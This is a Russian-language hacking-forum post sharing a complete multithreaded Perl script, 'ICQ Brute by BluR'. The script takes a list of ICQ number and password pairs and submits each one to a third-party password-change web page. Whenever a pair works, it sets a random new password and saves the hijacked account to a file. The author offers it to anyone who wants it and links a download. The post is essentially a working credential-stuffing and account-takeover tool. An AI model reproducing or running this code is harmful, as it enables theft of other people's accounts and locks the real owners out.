ICQ Brute by BluR . [Perl]
Вот написал брут . Работает через WEB. Прокси не нужны . Пропускает гуду . Писал просто чтобы что то написать ... т.к только начал учить перл ... так что не судите ...
кому надо используйте...
Код:
#!/usr/bin/perl use strict; use warnings; use LWP::UserAgent; use HTTP::Cookies; use threads; use threads::shared; use Fcntl ':flock'; ############################################################################## my $threads = 5; # Кол-во потоков # ############################################################################## my $source_file = 'source.txt'; # Список для брута # ############################################################################## my $source_delm = ';'; # Разделитель списка аккаунтов # ############################################################################## my $delay = 0; # Задержка # ############################################################################## $| = 1; system('title ICQ Brute by BluR v 0.001 ^ Happy New Year. ^2010^'); my @source : shared = lf($source_file); my $goodn : shared = 0; my $badn : shared = 0; my $err : shared = 0; my $newpass=''; my $ch1 = chr(205); my $ch2 = chr(201); my $ch3 = chr(187); my $ch6 = chr(186); my $ch7 = chr(219); my $ch8 = chr(200); my $ch9 = chr(188); print "$ch2$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch3"; print "$ch6$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7 ICQ Brute by BluR.$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch7$ch6"; print "$ch8$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch1$ch9"; cout(" \nStarting... \n"); threads->new(\&main) for 1 .. $threads; $_->join for threads->list; sub main { while(@source) { my $ua = LWP::UserAgent->new(timeout => 33, cookie_jar => new HTTP::Cookies, agent => agent()); my ($uin, $pass) = split $source_delm => shift @source; GET: my $answ = $ua->get('http://ruwap.org/service/ChangePassword/index.php')->as_string; if($answ =~ m,HTTP,i) { $answ =~ s/\s*.*action="//igxsm; $answ =~ s/"\s*.*\s*//igxsm; $newpass= join('', map(('a'..'z', 'A'..'Z', '0'..'9')[rand(63)], (1..8))); my $req = $ua->post("http://ruwap.org/service/ChangePassword/index.php$answ", ['uin' => $uin, 'password' => $pass, 'NewPassword' => $newpass, 'ReNewPassword' => $newpass,])->as_string; if( $req =~ m,$uin,igxsm) { { lock $goodn; ++$goodn } cout(" Good - $uin:$pass \n"); cout(" Password changed - $uin:$newpass \n"); wf('good.txt', "$uin;$newpass\n"); } else { { lock $badn; ++$badn } cout(" Bad - $uin:$pass \n"); wf('bad.txt', "$uin;$newpass\n"); } } else { { lock $err; ++$err } cout(" Error!!!, trying again... \n"); goto GET } sleep $delay } } sub agent { my @agents = qw[Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0]; return $agents[rand scalar @agents]; } sub cout { print $_[0]; print " Good: $goodn $ch6 Bad: $badn $ch6 Threads: $threads $ch6 Error: $err\r"; } sub lf { open my $dat, '<', $_[0] or die "\nCould not open $_[0] file!\n"; chomp(my @data = <$dat>); close $dat; return @data; } sub wf { open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n"; flock $dat, LOCK_EX; print $dat $_[1]; flock $dat, LOCK_UN; close $dat; }
Залил :
http://slil.ru/28428393
P.s : спасибо Гаусу за его скрипты ... подглядывал когда писал ...
С Наступающим Античат ... |
